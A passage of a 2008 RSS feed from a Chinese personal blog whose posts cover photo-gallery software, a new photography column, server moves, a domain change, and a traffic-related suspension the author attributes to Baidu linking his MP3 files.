	再来一个新的相册程序，看看哪个好一些？<br/><br/><a href="http://www.donimage.com/gallary/" target="_blank">http://www.donimage.com/gallary/</a><br/><br/>对比现在插件性质的：<br/><br/><a href="http://www.donimage.com/blog/index.php?act=DDRR_Album" target="_blank">http://www.donimage.com/blog/index.php?act=DDRR_Album</a><br/><br/>比较起来如何？<br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E7%259B%25B8%25E5%2586%258C" rel="tag">相册</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?746</link>
<title><![CDATA[阿茂摄影作品专栏上线]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Thu, 17 Apr 2008 07:10:00 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?746</guid> 
<description>
<![CDATA[ 
	经过几天的测试，阿茂摄影作品专栏上线了，可以通过这个连接访问：<br/><br/><a href="http://www.donimage.com/meng" target="_blank">http://www.do...mage.com/meng</a><br/><br/><br/>Tags - <a href="https://www.rchan.net/blog/tag.php?tag=%25E9%2598%25BF%25E8%258C%2582" rel="tag">阿茂</a> , <a href="https://www.rchan.net/blog/tag.php?tag=%25E6%2591%2584%25E5%25BD%25B1" rel="tag">摄影</a>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?741</link>
<title><![CDATA[难道真是BaiDu惹的祸？]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Tue, 15 Apr 2008 03:37:08 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?741</guid> 
<description>
<![CDATA[ 
	恢复网站以后，我把MP3的目录改了名字藏起来了，于是，昨天的数据是：<br/><br/>- 昨天总流量: 424.4 M <br/>- 昨天流入流量: 15.0 M <br/>- 昨天流出流量: 409.4 M<br/>- 昨天使用CPU: 1.8 %<br/><br/>相比前天一天5G的流量、90%的CPU使用率，算是正常了许多。难道。。。真是BaiDu惹的祸？？？<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?738</link>
<title><![CDATA[又遇停机]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Mon, 14 Apr 2008 07:50:52 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?738</guid> 
<description>
<![CDATA[ 
	才刚刚搬过来新的服务器一天，今天早上还在路上的时候，就收到来自北美的投诉说网站访问不了。<br/><br/>回来一看果然不行，国内的几个朋友也反映不能访问。但是我看看，FTP是可用的，至少文件还在，服务器还通。<br/><br/>于是只好投诉。<br/><br/>调了昨天的统计来看：<br/><br/>- 昨天总流量: 5,032.4 M <br/>- 昨天流入流量: 24.5 M <br/>- 昨天流出流量: 5,007.9 M<br/>- 昨天使用CPU:90 %<br/><br/>一天之内从我这下载了5G的东西，占用CPU90%，于是，被停机了，晕倒~~~<br/><br/>但是我仔细看了从访问量分析，并没有明显的增加迹象。<br/><br/>想来，最大的可能就是百度连接我的mp3文件提供下载，我那上面只有自己喜欢的十来首推荐的音乐啊！<br/><br/>中午，终于把网站恢复开启，也只能暂时把歌曲的目录隐去。一切，需要分析和寻找证据再做处理。<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?736</link>
<title><![CDATA[搬迁完成]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sat, 12 Apr 2008 17:13:45 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?736</guid> 
<description>
<![CDATA[ 
	终于成功搬迁到杭州萧山的服务器上了，从我这里看，访问速度有明显的提高，不知道大家怎么样呢？<br/><br/>刚刚设置好DNS，也许有的地方没有那么快更新到，需要几个小时更新，这几个小时以内可能会访问不正常。<br/><br/>数据是昨天凌晨压缩备份的，压缩了也有918M，下载、上传需要时间太长，丢了一天的帖子以及访问数据，见谅。<br/><br/>好了以后，告诉我访问的效果哦~~~<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?735</link>
<title><![CDATA[再次搬迁服务器]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Fri, 11 Apr 2008 15:17:08 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?735</guid> 
<description>
<![CDATA[ 
	鉴于现在的服务器最近速度越来越慢，决定这两天将网站再搬回杭州的另外一台服务器上。访问性能应当有所改善。<br/><br/>所以，这两天的访问可能会有所影响。长痛不如短痛，请大家体谅~~~<br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?709</link>
<title><![CDATA[搬家并换名]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sat, 08 Mar 2008 12:18:18 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?709</guid> 
<description>
<![CDATA[ 
	前几天彻底搬了一个家，又更换了服务器，同时启用了新域名donimage.com。<br/><br/>原域名rchan.net依然指向该空间，但将主要作为愚夫私家使用。<br/><br/>PS，才发现，博客的计数器已经翻过了108万。。。<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=322" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=322" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>而主站计数器还是刚刚跨过60万～～～<br/><br/><a href="https://www.rchan.net/blog/attachment.php?fid=323" target="_blank"><img src="https://www.rchan.net/blog/attachment.php?fid=323" class="insertimage" alt="点击在新窗口中浏览此图片" title="点击在新窗口中浏览此图片" border="0"/></a><br/><br/>
]]>
</description>
</item><item>
<link>https://www.rchan.net/blog/read.php?688</link>
<title><![CDATA[新年新站点]]></title> 
<author>Richard &lt;yufuzhibao@126.com&gt;</author>
<category><![CDATA[站务]]></category>
<pubDate>Sun, 03 Feb 2008 18:32:04 +0000</pubDate> 
<guid>https://www.rchan.net/blog/read.php?688</guid> 
<description>
<![CDATA[ 
	空间又要准白搬迁了，每一次搬迁都是劳民伤财的事情，要折腾好几天。<br/><br/>新年来了，也准备给新的站点启用新域名、新的形象。<br/><br/>借过年前后的时间，加油ing。。。<br/><br/><br/><br/>
]]>
</description>
</item>
</channel>
</rss>